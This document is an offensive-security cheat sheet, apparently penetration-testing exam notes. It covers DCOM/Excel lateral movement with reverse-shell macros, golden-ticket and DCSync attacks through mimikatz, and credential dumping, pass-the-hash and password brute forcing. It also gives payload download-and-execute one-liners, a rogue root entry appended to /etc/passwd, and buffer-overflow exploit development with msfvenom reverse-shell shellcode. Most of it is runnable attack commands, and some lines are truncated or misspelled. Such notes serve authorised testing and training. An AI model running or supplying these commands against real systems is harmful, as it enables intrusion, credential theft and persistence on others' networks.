Administrator rights are required to call DCOM Service Control Manager (which is like an API). Both Outlook and PowerPoit can be used for the lateral movement. TCP 135 (DCOM) and 445 (SMB) are required for this attach.

Create an instance of the object

$com = [activator]::CreateInstance([type]::GetTypeFromProgId("Excel.Application", "<target_ip>"))

$com | Get-Member 
# look for Run method which allows us to execute VBA (e.g. the following entry: Run | Method | Variant Run... )
# and Workbooks object that lets us to open a Workbook (i.e. excel file; e.g. the following entry: Workbooks | Property | Workbooks Workbooks () {get} )

Create VBA Macro

Save it in the legacy .xls format.

Sub mymacro()
	Shell ("notepad.exe") # or another payload
End Sub

Transfer the file to the target machine

Since we must be local administrator to take advantage of DCOM, we should also have access to the remote filesystem via SMB, which we use to copy the file to the target:

$LocalPath = "<local_path>\myexcel.xls" # e.g. C:\Users\jeff_admin.corp\myexcel.xls"
$RemotePath = "\\<target_ip>\c$\myexcel.xls"
[System.IO.File]::Copy($LocalPath, $RemotePath, $True)

Open the transferred file

$Path = "\\<target_ip>\c$\Windows\sysWOW64\config\systemprofile\Desktop" # this is required because application instantiated through DCOM are running from the SYSTEM account, which doesn't have a profile. So we create one.

$temp = []::createDirectory($Path)

$Workbook = $com.Workbooks.Open("C:\myexcel.xls") # and now we can open the workbook

Run the macro

Now that we have opened the workbook, we can run our macro remotely:


Reverse Shell

Macro should contain the reverse shell, so we generate it and put it in the macro:

msfvenom -p windows/shell_reverse_tcp LHOST=<our_ip> LPORT=<our_port> -f
hta-psh -o evil.hta

Split the payload and add execution command:

str = "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQ....."
n = 50
for i in range(0, len(str), n):
	print "Str = Str + " + '"' + str[i:i+n] + '"'

And now put it in the macro:

Sub MyMacro()
Dim Str As String
Str = Str + "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad"
Shell (Str)
End Sub

AD Persistence

Golden Tickets

This technique lets you create your own self-made custom TGTs (gonden tickets). To do that, you will need a password hash for krbtgt account. This hash is used by the KDC to encrypt the TGT.


Need to have access to a user that is in the Domain Admins group. To get the krbtgt password hash, this user needs to log in to the DC (e.g. via remote desktop), which will log the hash and can be extracted via mimikatz

krbtgt hash

# in mimikatz

lsadump::lsa /patch # this will list NTLM hashes, including the krbtgt one

Generating the Golden Ticket

# in mimikatz
kerberos::purge # deletes all tickets, may not be necesary 

kerberos::golder /user:<some_fake_name> /domain:<domain> /sid:<sid> /krbtgt:<krbtgt_hash> /ptt

# example:
kerberos::golden /user:fakeuser / /sid:S-1-5-21-1602875587-2787523311-2599479668 /krbtgt:75b60230a2394a812000dbfad8415965 /ptt

With the golden ticket injected into memory, we can launch a new command prompt with misc::cmd and again attempt lateral movement with PsExec.


psexec.exe \\<domain> cmd.exe # <domain> e.g. dc01

DC Synchronization

In production environments, domains typically have more than one domain controller to provide redundancy. The Directory Replication Service Remote Protocol uses replication to synchronize these redundant domain controllers. A domain controller may request an update for a specific object, like an account, with the IDL_DRSGetNCChanges703 API. Luckily for us, the domain controller receiving a request for an update does not verify that the request came from a known domain controller, but only that the associated SID has appropriate privileges. If we attempt to issue a rogue update request to a domain controller from a user who is a member of the Domain Admins group, it will succeed.


lsadump::dcsync /user:Administrator


Interactive Shell

Once an shell is established (e.g. using netcat), use python to spawn a new shell:

# In reverse shell
# ("/bin/sh")'
python -c 'import pty; pty.spawn("/bin/bash")' 
python3 -c 'import pty; pty.spawn("/bin/bash")'
export SHELL=bash
# export TERM=screen-256color # export TERM=linux
export TERM=xterm-256color
Ctrl + Z
# In host
stty raw -echo ; fg ; reset
# In reverse shell
stty rows 200 columns 200
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp


For Windows on Linux:

i686-w64-ming32-gcc <file>.c -o <file>.exe

If winsock.h is required, use the -lws2_32 flag:

i686-w64-ming32-gcc <file>.c -o <file>.exe -lws2_32

File Transfers

The main problem is the non-interactive shell.

  1. Setup pure-ftpd on your kali Can use this script:

sudo groupadd ftpgroup
sudo useradd -g ftpgroup -d /dev/null -s /etc ftpuser
sudo pure-pw useradd offsec -u ftpuser -d /ftphome
sudo pure-pw mkdb
sudo ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/60pdb
sudo mkdir -p /ftphome
sudo chown -R ftpuser:ftpgroup /ftphome/
sudo systemctl restart pure-ftpd
  1. On windows we can use an ftp with a list of commands so that no interactive shell is required:
# create ftp.txt while in reverse shell on windows:
echo open 21> ftp.txt
echo USER offsec>> ftp.txt
echo lab>> ftp.txt
echo bin>> ftp.txt
echo GET rdp.bat>> ftp.txt
echo bye>> ftp.txt

# ftp execution:
ftp -v -n -s:ftp.txt
  1. HTTP downloader with VBScript for older versions of Windows:
# create wget.vbs while in reverse shell on windows:
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

# execute the download:
cscript wget.vbs evil.exe
  1. HTTP downloader for newer versions of Windows:
# create wget.ps1 while in reverse shell on windows:
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "" >>wget.ps1
echo $file = "new-exploit.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1

# execute the download:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
  1. HTTP download - one-liner
powershell.exe (New-Object System.Net.WebClient).DownloadFile('', 'new-exploit.exe')
  1. HTTP execute in memory:
powershell.exe IEX (New-Object
  1. On FreeBSD
fetch <url>
  1. exe2hex and powershell
upx -9 nc.exe # compress an exe file, e.g. nc.exe
exe2hex -x nc.exe -p nc.cmd # convert nc.exe to a Windows script (.cmd)
# copy and paste the content of nc.cmd on windows and run it - this should create an nc.exe
  1. Upload from Windows to Linux using PHP upload script (simple POST)

Create the script:

$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)

Place it under:


Create the uploads folder and give it the right permissions:

sudo mkdir /var/www/uploads
sudo chown www-data: /var/www/uploads

Use it from Powershell to upload the file:

powershell (New-Object
System.Net.WebClient).UploadFile('', 'important.docx')
  1. TFTP file transfer from Windows XP or Windows Server 2003

Install TFTP (atftpd) on Kali:

sudo apt update && sudo apt install atftp
sudo mkdir /tftp
sudo chown nobody: /tftp
sudo atftp --deamon --port 69 /tftp

Transfer files from Windows to Kali:

tftp -i <your_ip> put <filename>


hashid - gives you the type of the hash

hashid <hash>


# useful mimikatz commands

privilege::debug # requires admin; allows for SAM inspection (hashes, tickets,etc)

token::elevate # goes from admin (high itegrity) to system (system integrity)

lsadump::sam # dumps the content of SAM database (local accounts)

sekurlsa::logonpasswords # dumps the hashes (domain accounts)
sekurlsa::tickets # dumps the tickes

other hash dumping tools

For older versions of Windows (XP or 2003), use: pwdump, fgdump or wce

wce (windows credential edirot) # works on older Windows, e.g. XP, 2003

Passing the Hash in Windows

pth-winexe -U
<username>%<NTLM>:<NTLM> //<target_ip> <command>

Password Attacks

cewl - world list generator

cewl -m 6 -w megacorp-cewl.txt # min 6 char words

john - the Ripper

john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt

windows hashes:

john --rules --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=NT

zip cracking:

zip2john <> > zip.hashes
john zip.hashes

linux hashes:

# first hashes need to be unshadowed
unshadow passwd-file.txt shadow-file.txt > unshadowed.txt 
# and now cracked
john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

# for a specific user
john --user=root --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

crunch - brute force pwd generator

crunch 8 8 -t ,@@^^%%%

# @ - Lower case alpha characters
# , - Upper case alpha characters
# % - Numeric characters
# ^ - Special characters including space

crunch 4 6 0123456789ABCDEF -o crunch.txt # 4-6 chars password made of combination of the listed characters

medusa - brute force password attack for many network protocols (see option medusa -d)

medusa -h <ip> -u admin -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/admin
# attack on htaccess, admin with folder (url) admin

crowbar - for ssh keys and RDP attacks

# RDP attack with crowbar
crowbar -b rdp -s -u admin -C password-file.txt -n 1

THC-Hydra - multi-protocol attack tool

# ssh attack
hydra -l kali -P /usr/share/wordlists/rockyou.txt ssh://

# HTTP post attack
hydra http-form-post
"/form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN" -l admin -P
/usr/share/wordlists/rockyou.txt -vV -f # -vV: verbose output; -f to stop after first successful attempt


Generating based on a website

sudo cewl -d <depth> -m <min_no_letters> -w <outputfile> <url>

Generate a wordlist base on all binary names

ls -sa /usr/bin | sed 's/[0-9]*//g' | sed -r 's/\s+//g' | sort -u > <outputfile>

Collection of Useful Commands - Windows

Enable RDP and Add user

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnection /t REG_DWORD /d 0 /f
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
netsh advfirewall set allprofiles state off
net localgroup "remote desktop users" <username> /add


crackmapexec smb <ip/ip-range> -u <username> -H <ntlm> [-p <password>] -d <domain> --continue-on-success [--local-auth] [--lsa]


Check github harmj0y powerview

import-module .\PowerView.ps1
Get-DomainUser -SPN
Get-ForestTrust -Forest "<domain>"


impacket-psexec <domain>/<username>@<ip> -hashes ':<hash>'
impacket-psexec '<domain/client>/<username>'@<ip> -hashes ':<hash>'

# some_evshell.svc.exe is generated with msfvemon -f exe-service
impacket-psexec <domain>/<username>@<ip> -hashes ':<hash>' -remote-binary-name <some_revshell.svc.exe>


certutil -urlcache -split -f <url> <C:\file>


evil-winrm -i <ip> -u <username> -H <ntlm>


# bypass the execution policy
powershell -ep bypass 

# Search for a file
Get-Childitem –Path C:\ -Include *network-secret* -Recurse -ErrorAction SilentlyContinue`

Collection of Useful Commands - Linux

Generate a passwd entry:

openssl passwd evil
echo "root2:<generated_password>:0:0:root:/root:/bin/bash" >> /etc/passwd

Low Level

Windows Buffer Overflows

  1. Discovering the Vulnerability
    • source code review
    • reverse engineering techniques
    • fuzzing
  2. Replicate the crash
    • e.g. attach a debugger and see when the application is crashing (what payload needs to be used)
  3. Control the EIP
    • locate the part of input that overwrites the EIP
      • use msf-pattern_create to generate the string Example: msf-pattern_create -l 800
      • and then replicate the crash again, with that string
      • calculate the actual length with msf-pattern_offset based on the EIP content Example:
        msf-pattern_offset -l 800 -q 42306142
    • see how much of payload you need (e.g. size of the shellcode of your choice) and check if you can actually send such a long set of bytes - things may go crazy once you override the buffer too much
    • try to extend the buffer by adding more payload (e.g. more "A" to the end), e.g. 700, although the typical shellcode is around 350-400 bytes
    • if you can't extend it, best is to: a) check if EAX or ECX contain the payload b) prepare the first_stage with a jump to those; add some nops; search for bad characters; make shellcode part of the crash payload (e.g. VulnApp2.exe from OSCP training)
  4. Find bad characters for your payload: here you need to try sending the whole set of characters from 0x00 to 0xFF and see which go through
  5. Find a way to execute the shellcode. in principle you want to override EIP to point to a JMP instruction in an external lib (because the address will be static and the exploit will be more robust), so that once a JMP is executed, it will run the payload you've overridden ESP with.
    • use !mona modules to see which execs or libs can be of use (with SafeSEH, ASLR and NXCompat set to false)
    • Look for a JMP ESP instruction (if DEP is enabled, it needs to be the one that is located in .text code segment because it has both Read and Executable permissions)
      • make sure the found address doesn't contain bad characters
      • first get the opcode of JMP ESP: msf-nasm_shell nasm> jmp esp 00000000 FFE4 jmp esp
      • search for \xFF\xE4 in mona: !mona find -s "\xFF\xE4" -m "<resource>"
      • make sure the found address doesn't contain bad characters
      • make sure to reverse the order of the address value (since it is little endian for x86 or AMD64 architectures)
      • follow the found instruction in disassembled code and use its address to override the EIP register in the exploid
      • in the exploid, update the EIP to this address, set the breakpoint and see if you hit it
  6. Prepare the shellcode, best to use msfvenom
    • List of all available payloads: msfvenom -l payloads
    • For example, reversed shell for TCP looks like this:
      msfvenom -p windows/shell_reverse_tcp LHOST=<your-ip> LPORT=<your-port> -f c
    • If we have a restriction in terms of bad characters, we should ise an polymorphic encoder:
      msfvenom -p windows/shell_reverse_tcp LHOST=<your-ip> LPORT=<your-port> -f c -e x86/shikata_ga_nai -b "<list-of-bad-characters"
    • since we use the encoder (such as shikata_ga_nai), the decoding part can mangle the stack causing the shellcode to crash the attacked application. one way around this, is to include a few of NOP CPU instructions upfront the payload so that the decoder doesn't affect the shellcode itself:
      nops = "\x90" * 10
      # This needs to be put between the offset and the shellcode.
    • by default, msfvenom shellcode is followed by ExitProcess API, which will cause the attached application to stop. If the application is multithreaded, instead of the whole process, it is possible to stop the affected thread only. This can be done by adding EXITFUNC flag to msfvenom:
      msfvenom -p windows/shell_reverse_tcp LHOST=<your-ip> LPORT=<your-port> EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "<list-of-bad-characters>"

Linux's example of the shellcode:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<your-ip> LPORT=<your-port> -b "<list-of-bad-characters>" -f py -v shellcode